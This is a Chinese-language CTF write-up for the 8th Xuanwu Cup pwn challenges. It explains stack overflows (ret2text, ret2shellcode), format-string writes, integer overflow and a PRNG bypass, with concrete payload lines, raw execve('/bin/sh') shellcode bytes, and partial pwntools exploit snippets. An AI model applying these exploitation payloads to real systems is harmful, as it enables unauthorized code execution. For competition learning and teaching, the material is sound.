第八届玄武杯pwn方向题解
ret2text 64
出题人:mint1.
wp:
checksec:

堆栈不可执行,没有开canary防止栈溢出,没有开PIE
来到IDA中分析
有后面函数system('/bin/sh')位于hint中,记录其地址0x40136F
漏洞位于func函数

gets()函数不检查输入信息的长度,存在栈溢出风险
v1是栈上的变量,在执行完func函数后程序会根据栈上数据跳转到进入func函数前压入的父函数位置,我们需要利用gets函数输入数据覆盖掉这一返回地址,跳转到hint函数中利用后门函数获取shell,但是64位函数执行system(‘/bin/sh’)前需要堆栈平衡,当我们在backdoor函数之前加入一个 ret 指令后栈顶下移8个字节使之对齐 16Byte 为此满足了XMM寄存器的要求成功得到shell,关于堆栈平衡可以看这篇文章https://zhuanlan.zhihu.com/p/611961995
payload = b'a'*(0x30+8) + p64(ret) + p64(backdoor)
0x30个a是为了填满v1数组,8个a是为了覆盖rbp,p64(ret)覆盖返回地址
来到汇编:

这是func函数的汇编,在执行完leave retn后就会跳转执行我们找的ret这条指令,紧接着执行完ret指令后跳转到我们找到的后门函数执行
可以通过gdb单步执行观察是如何跳转的
exp
1 | from pwn import* |
fmt
出题人:mint1.
wp:
checksec

开启了 Canary NX 没开 PIE
程序自带后门函数,满足一定条件后可执行
漏洞位于vuln函数

格式化字符串漏洞可以用来泄露信息,或修改信息
这里利用格式化字符串漏洞修改bss段上的 target 变量,将其改为6满足 if 条件
target地址=0x40408C
测偏移:aaaa-%x-%x-%x-%x-%x-%x-%x-%x

测出来偏移为6,两种解题方式
1: 利用pwntools中的 payload = fmtstr_payload(6, {target: 6})
2: 手动构造格式化字符 payload = b’%6c%8$lln’ + b’aaaaaaa’ + p64(target)
手动构造的格式化字符在第8个参数写入6,aaaaaa是为了使第8个参数恰好为target,控制栈上位置

exp:
1 | from pwn import* |
ret2shellcode
出题人:lycoreco
lycoreco的前言:
这是我第一次出题,也是试了很久才出了这个ret2shellcode,当然自己的解法感觉没有师傅们的好,这里贴出来分析一下,望海涵。
wp:
先checksec:

没什么特别需要绕过的保护,栈可执行
我们先运行一下程序:
是一道ret2shellcode有一个输入,并且输出了一个地址,应该就是栈开始的地址,现在去ida里看看:
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
此时覆盖返回地址的偏移就是0x40+8,也就是72
下面我们仔细看看汇编代码
1 | 0x401243 lea rax, [rbp+var_40] ; rax = &v1 (var_40 即 buffer) |
所以我们的思路是:
1、gets(v1) 会把输入写到栈上的 v1,并返回 v1(放 rax)。
2、exploit 把 “/bin/sh\x00” 放在 buf,把 shellcode 放在 buf+8(或把 shellcode 放在 buf 开头,视你写的 shellcode 而定)。
3、覆盖返回地址为 buf+8,当 ret 发生时跳到我们放的 shellcode 执行。
4、shellcode 首条 mov rdi, rax 或者内置的 execve 逻辑,会用 rax内容完成 execve(“/bin/sh”,0,0)。
1 | mov rdi, rax |
换成字节流就是:\x48\x89\xc7\x48\x31\xf6\x48\x31\xd2\x48\xc7\xc0\x3b\x00\x00\x00\x0f\x05
exp:
1 | from pwn import * |
经典的24字节shellcode解法:
1 | from pwn import * |
利用shellcraft:
溢出,找ret,根据写入的字节长度控制程序流到shellcode,执行shellcode
1 | from pwn import * |
这道题的写法多样,是有趣的shellcode呀
来自出题人haoo:第一次出题,确实出现了一些问题(希望师傅们谅解)。总的来说,这次出的都是简单题目,没一道是入门难度的,前四道直接问ai都能出,最后一道稍微弄一下也能出。下面是我出的两道题的wp。
Integer_Overflow

检查保护,64位全开,接着拖入IDA中分析


直接输入-1就能获取shell,或者输入4294967295也能获取shell。
are you lucky
这题忘记关相应输出了,导致fmt可以leak,从而绕过了随机数(QWQ)。

开启了PIE保护,关闭了NX保护,大概率能打shellcode,拖入ida里面看
login

先是一个登录,输入user_name与114514编码后的结果,当然熟悉的师傅应该能看出是base64编码,不熟悉的师傅可以通过gdb调试也能知道

root
接着看一下root函数的汇编,发现有一个全局变量target,需要将target的值与0x2918(即10520)进行对比,如果一样就能打shellcode。在打shellcode的时候发现限制了输入的字节数,这里可以靠师傅们自己发挥,我是**先搓出read函数,再shellcraft.sh()**。
1 | shellcode=''' |

edit与game
再看看edit函数与game函数,在game函数中,发现在20次输入中,每次输入的数与生成的随机数一样,最后就会给出main的地址,这样就能得到基址。在edit函数中发现存在fmt,由于没有关闭相应的输出,因此不会绕过随机数判断的师傅也可以leak,得到基址,然后再修改target的值从而到root函数打shellcode。
下面就分别说一下这两种获取基址的做法吧。


leak获取基址
第一种是leak的做法,因为存在fmt且没有关闭相应的输出,所以在edit函数中不仅能修改target的值,也能泄漏地址

找到相应的偏移,然后先泄漏地址再修改值,当然泄漏地址时可以找其他的。
1 | io.sendlineafter(b' >>',b'1') |
伪随机数
第二种是随机数判断的做法,在game函数中会给我们main函数的地址,只需要在20次输入中,每次输入的数与生成的随机数一样即可。也挺简单的,因为给了种子,我的做法是编写一个生成随机数的程序。
1 | #include<stdio.h> |
1 | io.sendlineafter(b' >>',b'2') |
修改target的值
最后一点就是利用fmt修改target的值,这里的话有两种写法:
一种是使用fmtstr_payload修改,这种方法就是比较简单
1 | payload=fmtstr_payload(20,{target:10520}) #20为偏移,{target:10520}表示将target的值改为10520 |
还有一种就是不用pwntools自带的fmtstr_payload,自己手搓,这种方法就是比较复杂,但对fmt漏洞的理解有好处
1 | payload=b"%10520c%22$hnAAA"+p64(target) #%10520c表示输出10520个字符,%hn表示将当前已输出的字符数作为2字节值写入指定地址,22$表示表示使用第22个参数作为目标地址,而这个地址就是我们写入的target的地址,AAA是为了对齐 |
关于第二种写法,这么看可能有点懵,在这里gdb看一下
这是输入前栈上的情况

这是输入后栈上的情况,可以看出输入的target的地址在第22个参数处,这就是为什么上面是22$

最后是printf后栈上的情况,可以看出确实将值写入了target

总结
exp的话师傅们可以根据上述的过程自己编写一下(因为太简单,而且比较详细,所以主包不想写exp了,0w0)。

